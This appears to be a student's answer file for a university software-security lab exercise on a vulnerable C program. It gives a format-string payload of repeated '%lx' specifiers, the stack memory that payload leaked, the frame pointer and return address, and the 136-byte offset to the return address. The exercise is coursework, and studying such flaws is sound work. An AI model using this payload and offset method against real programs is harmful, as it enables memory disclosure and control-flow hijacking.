ass5bex1 done
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / exercise2
1 a. The buffer is 104 characters long. When you input 105 a's the last a will
2 be garbled.
3
4 b. "%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx"
5 The memory outputted is this:
6 7ffff7ff805b
7 7ffff7dd8de0
8 fbad2088
9 786c2520786c2520
10 20786c2520786c25
11 20786c2520786c25
12 20786c2520786c25
13 20786c2520786c25
14 20786c2520786c25
15 20786c2520786c25
16 20786c2520786c25
17 20786c2520786c25
18 20786c2520786c25
19 20786c2520786c25
20 20786c2520786c25
21 20786c2520786c25
22 786c25
23 1
24 7fffffffeb30
25 7fffffffebc0
26 4006a9
27 0
28 100400530
29
30 c. Frame pointer: 7fffffffeb30 or 7fffffffebc0
31 return address: 4006a9
32
33 d. 17 words of 8 bytes therefore 136